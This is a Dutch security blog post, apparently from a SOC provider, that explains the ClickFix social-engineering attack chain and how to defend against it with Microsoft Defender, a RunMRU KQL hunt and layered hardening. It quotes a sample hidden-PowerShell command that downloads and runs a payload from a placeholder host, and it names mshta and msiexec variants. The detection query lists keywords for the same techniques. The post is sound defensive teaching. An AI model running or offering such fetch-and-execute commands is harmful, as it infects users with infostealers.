ClickFix. Als de gebruiker de exploit is, en hoe jullie dat stoppen
ClickFix maakt gebruikers tot hun eigen aanvaller: een vals CAPTCHA, een copy-paste, en schadelijke code draait in het geheugen zonder dat er iets op de schijf landt. Hoe Microsoft Defender de aanval detecteert, waar de detectie tegen grenzen aanloopt en hoe jullie het gat dichten met een RunMRU-hunt en vier beschermingslagen.

De ClickFix-aanvalsketen
ClickFix is een aanval waarbij gebruikers hun eigen aanvaller worden. Geen exploit, geen kwetsbaarheid. Het slachtoffer voert de schadelijke code zelf uit, met één enkele copy-paste.

Het lokaas is social engineering: een vals CAPTCHA op een kwaadaardige pagina, een onjuiste supportmelding ("je browser heeft een update nodig"), een phishingmail of een valse meetingpagina. Terwijl het slachtoffer op de pagina is, schrijft JavaScript de payload via clipboard.writeText() naar het klembord. Dan vraagt de pagina de gebruiker om Win+R, Ctrl+V en Enter te drukken. Het dialoogvenster Uitvoeren start wat er op het klembord staat.
Een typisch lokaas ziet er zo uit:

Het commando dat het op het klembord zet, ziet er zo uit:
powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)
Er gebeuren twee dingen tegelijk. PowerShell start in een verborgen venster (-w h), en iex(irm …) laadt de payload en voert die direct in het geheugen uit. Niets landt op de schijf, signatuurgebaseerde antivirus heeft dus niets om te scannen. De tweede stap is meestal een infostealer (Lumma, Vidar, RedLine, StealC), een remote access trojan of een ransomware-loader.
Hetzelfde patroon in de Microsoft-Defender-telemetrie, een verborgen PowerShell, gestart vanuit Windows Terminal, dat iex(irm …) uitvoert:

Waarom dit zo goed werkt: alles draait in de gebruikerscontext, zonder verhoogde rechten. Cookies, opgeslagen wachtwoorden en sessietokens liggen binnen bereik van een standaardgebruiker. De aanvaller hoeft geen rechten te escaleren om bij dat te komen waarvoor hij is gekomen.
Wat Microsoft Defender detecteert
Microsoft heeft de afgelopen maanden veel in de ClickFix-detectie geïnvesteerd. Als jullie Defender gezond en juist geconfigureerd is, krijgen jullie native detecties voor ClickFix-payloads. Sinds Q2 2025 publiceert MDE gedragsgebaseerde alerts onder titels als "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" of "An active 'Pacalau' malware in a command line was prevented from executing". Ze vuren vanuit de MDE-cloud-engine via de analyse van de procesketen, parallel aan de AV-detectie en vaak een paar seconden eerder.
De configuratie die dat mogelijk maakt, staat verder naar onderen bij de hardening van de uitvoering.
Waar de native detectie tegen haar grenzen aanloopt
Cloudgebaseerde ML-signaturen hebben tijd nodig voordat ze afgaan. We zien regelmatig een gat van meer dan een minuut tussen de PowerShell-start en de Defender-alert. Een snellere payload glipt door dat venster.
Aanvallers passen zich bovendien snel aan. Ruil powershell voor mshta http://... of msiexec /i http://..., beide klassieke LOLBins, en de PowerShell-specifieke detecties grijpen niet meer.
Het gat dichten: een RunMRU-hunt
Dat gat dichten we met custom detections. Uitgangspunt is een KQL-query op de registry key RunMRU, die elk commando meeschrijft dat een gebruiker in het Win+R-dialoogvenster typt.
DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))
De query markeert elke Win+R-invoer die eruitziet als een ClickFix-commando: PowerShell, mshta, curl of msiexec samen met typische indicatoren als -w hidden, iex, irm, DownloadString of Base64-gecodeerde payloads. Ze vangt ook de subtiele trucs. De groene vinkje-emoji die veel valse CAPTCHA-lokazen voor het commando zetten. Unicode-tekens uit cyrillische, Arabische of Thaise bereiken, waarmee aanvallers tekst camoufleren en eenvoudige stringfilters omzeilen. Duikt een van deze patronen op in een Win+R-invoer, dan loopt er zeer waarschijnlijk op dat moment een ClickFix-aanval.
Voor onze CSOC-klanten draaien we deze en verdere custom detections om het gat tussen nieuwe aanvalstechnieken en de ingebouwde detectie te dichten.
Beschermingslaag 1: de bezorging blokkeren
Nu naar de preventie. ClickFix is wijdverbreid en succesvol, één enkele bescherming volstaat dus niet. We werken in lagen, van de bezorging tot de uitvoering.
Network Protection blokkeert bekende delivery-domains en C2-servers voor alle browsers. MDE Web Content Filtering vult categorieën aan als "Newly registered domains", "Hacking" en "Illegal Software". Network Protection is in Windows ingebouwd, maar voor browsers van derden moeten jullie QUIC en ECH uitschakelen, omdat beide de complete verbinding versleutelen en het doeldomein verbergen. Schakel QUIC in Chrome en Firefox uit via enterprise policy (QuicAllowed = Disabled in Chrome, network.http.http3.enable = false in Firefox); voor ECH zetten jullie in Chrome EncryptedClientHelloEnabled = Disabled.
Voor Edge activeren jullie SmartScreen. Voor browsers van derden schakelen jullie hun ingebouwde Safe Browsing aan. Dat is niet hetzelfde als Network Protection, maar helpt bij het filteren van schadelijke pagina's. Voor de mailvector controleren Safe Links en Safe Attachments links en bijlagen voordat gebruikers ermee interacteren.
Het addertje: dat alles grijpt alleen tegen bekende infrastructuur. Actuele ClickFix-campagnes lopen via vers geregistreerde infrastructuur die te laat wordt geïdentificeerd en geblokkeerd, en soms via legitieme pagina's die een aanvaller heeft gecompromitteerd. Dus kijken we naar wat beschermt nadat het lokaas is bezorgd.
Beschermingslaag 2: de truc blokkeren
Een paar Edge-features verhogen de hindernis terwijl de gebruiker op een kwaadaardige pagina is. Het governen van browserextensies verhindert dat gebruikers kwaadaardige of gecompromitteerde extensies installeren die ClickFix-overlays binnensmokkelen of zelf het klembord manipuleren. De Edge Enhanced Security Mode legt strengere beschermingsmaatregelen op aan onbekende en zelden bezochte pagina's (JIT uitgeschakeld, Control Flow Guard, hardwaregesteunde stackbescherming), wat op exploits gebaseerde browserovernames duidelijk bemoeilijkt. Typo Protection waarschuwt voor typosquatted domains (micros0ft.com, paypa1.com) en blokkeert een wijdverbreide ClickFix-delivery-vector via valse merkdomeinen.
Technische controls zijn maar de helft van het werk. Voorlichting van gebruikers blijft beslissend. De ene regel die het grootste deel draagt: als een webpagina je vraagt om iets in je computer te plakken, is het een aanval. Maak dat in de awarenesstraining concreet:
- Echt lokaas laten zien: valse "Verify you are human"-checkboxen, "je browser heeft een update nodig", "het document kon niet worden gerenderd, voer deze fix uit", kapotte Teams- of Zoom-audioprompts.
- De klembordtruc voordoen: laten zien hoe de pagina het klembord stil overschrijft.
- Melden eenvoudig maken: snel en zonder schuldtoewijzing.
Beschermingslaag 3: de actie blokkeren
Hier zijn er een paar mogelijkheden om het systeem te hardenen, geen daarvan is een garantie. Begin met het uitschakelen van het dialoogvenster Uitvoeren, dat verwijdert het Win+R-instappunt. Microsofts ClickFix-guidance raadt aan het uit te schakelen "where it isn't necessary". Dat sluit de specifieke Win+R-paste-aanval, maar alternatieve startvlakken blijven, zoals de adresbalk van Explorer en Windows Terminal.
Jullie kunnen Edge aanvullend hardenen met DefaultClipboardSetting, dat verhindert dat JavaScript stil naar het klembord schrijft.
Beschermingslaag 4: de uitvoering blokkeren
Breng voor de gevorderde features de grondbeginselen in orde. Voor ClickFix betekent dat:
- Local admin reduction: lokale administratorrechten waar mogelijk bij eindgebruikers verwijderen om de werking van een code-uitvoering te beperken.
- Endpoint Privilege Management (EPM): gebruikers als standaardgebruiker laten werken en alleen goedgekeurde apps via policyregels eleveren.
- UAC-hardening: secure-desktop-enforcement, promptgedrag voor admins en standaardgebruikers en installerdetectie controleren.
- Credential Guard: NTLM-hashes, Kerberos-tickets en overig credentialmateriaal via op virtualisatie gebaseerde beveiliging isoleren, zodat credentialdiefstal moeilijk blijft, zelfs wanneer een aanvaller adminrechten verkrijgt.
Deze controls beperken escalatiemogelijkheden, beschermen credentials en dwingen least privilege af. De grens daarbij: ze begrenzen wat er na een compromittering gebeurt. Ze houden een infostealer in de standaardgebruikerscontext er niet van af om voor de gebruiker leesbare cookies, sessietokens en app-credentialstores uit te lezen.
Dan Microsoft Defender. Defender AV kan de payload van de tweede stap detecteren, maar alleen met de juiste instellingen: cloud protection aanzetten en het beschermingsniveau op High of High+ zetten. AMSI, het Antimalware Scan Interface, laat applicaties inhoud tijdens runtime aan Defender doorgeven ter controle, nadat die in het geheugen is ontsleuteld of gedeobfusceerd, maar voordat die wordt uitgevoerd. PowerShell gebruikt AMSI om schadelijke code te identificeren, en AMSI heeft realtimebescherming en behavior monitoring nodig.
Minstens vijf attack-surface-reduction-regels zijn relevant tegen ClickFix:
| Regel | GUID | ClickFix-relevantie |
|---|---|---|
| Uitvoering van potentieel versluierde scripts blokkeren | 5beb7efe-fd9a-4556-801d-275e5ffc04cc |
Versluierde of gecodeerde scripts in de uitvoerings- en evasiefase |
| JavaScript of VBScript verhinderen gedownloade uitvoerbare inhoud te starten | d3e037e1-3eb8-44c8-a917-57927947596d |
WSH, .js of .vbs die gedownloade payloads starten |
| Uitvoerbare bestanden alleen toestaan bij een prevalentie-, ouderdoms- of trusted-list-criterium | 01443614-cd74-433a-b99e-2ecdc07bfc25 |
Verse of zeldzame neergezette executables |
| Uitvoerbare inhoud uit e-mailclient en webmail blokkeren | be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 |
Via e-mail bezorgde ClickFix-varianten |
| Alle Office-applicaties verhinderen kindprocessen te creëren | d4f940ab-401b-4efc-aadc-ad5f3c50688a |
Office-lokaasvarianten die interpreters starten |
Rol ASR eerst in de auditmodus uit, dan als pilot, dan in de blokmodus. Tamper Protection is de laatste lijn: ze verhindert de aanvaller jullie detecties uit te schakelen.
Bij PowerShell zelf beperken jullie het risico door legacy interpreters. Identificeer en verwijder, waar haalbaar, Windows PowerShell 2.0 en legacy VBScript-componenten, waaraan de logging- en securityfeatures van nieuwere versies ontbreken. De volgende stap is de Constrained Language Mode (CLM), die de beschikbare taalelementen van PowerShell inperkt en veel scriptgebaseerde technieken blokkeert. CLM heeft alleen dan robuuste beveiligingswaarde wanneer een system application control policy hem afdwingt (App Control for Business); de varianten via omgevingsvariabele en AppLocker zijn zwakker en omzeilbaar. En veel systemen hebben de Full Language Mode nodig om te functioneren, zoals software-deployment-tooling, waardoor CLM vaak alleen in geselecteerde omgevingen haalbaar is.
Daarmee zijn we bij App Control for Business (voorheen WDAC). App Control dwingt een code-integriteitspolicy af over welke executables, scripts en drivers mogen draaien. De strategische houding is default-deny plus Microsofts aanbevolen block rules, de bekende LOLBin- en bypass-blokkeerlijst. App Control is ook het correcte enforcementpad voor de PowerShell-CLM. De script enforcement blokkeert MSHTA- en MSXML-scripthosts, dwingt PowerShell in de CLM en blokkeert niet-toegestane inzet van de Windows Script Host. Een paar gedragsfeiten zijn belangrijk:
- Base policies die Windows vertrouwen, blokkeren vertrouwde LOLBins niet automatisch. Jullie moeten Microsofts aanbevolen block rules inmergen om de bekende bypasses te sluiten.
- App Control verhindert het starten van gesigneerde powershell.exe of cmd.exe niet. Het perkt in wat ze mogen doen (CLM, geen ongesigneerde of niet-toegestane payload) en regelt niet de inhoud van cmd.exe, .bat of .cmd. Daarom wordt het met ASR en launch-hardening gelaagd, niet alleen ingezet.
- De auditmodus is niet neutraal: de script enforcement blokkeert ook in de audit de uitvoering van MSHTA en MSXML en kan het PowerShell-CLM-gedrag veranderen. Daarom moet App Control in de audit vanaf de eerste uitrol pilot- of ringbegrensd zijn, nooit vlootbreed.
App Control is de afzonderlijke control met de hoogste confidence tegen de interpreter-, LOLBin- en payload-uitvoeringsfasen en dwingt robuuste CLM af. Het draagt tegelijk de hoogste deploymentcomplexiteit en het hoogste rollbackrisico, want een misconfiguratie blokkeert de uitvoering. Voer het in via gecontroleerde pilotringen.
Waar wij in het spel komen
ClickFix is snel, en Microsofts native detecties dekken het meeste af, maar niet alles. Voor onze CSOC-klanten breiden we de dekking doorlopend uit waar gaten opduiken: uitvoering via Windows Terminal, RAT-gedreven supportscams en post-compromise-gedrag. Als jullie willen weten waar jullie omgeving staat, laat het ons weten.














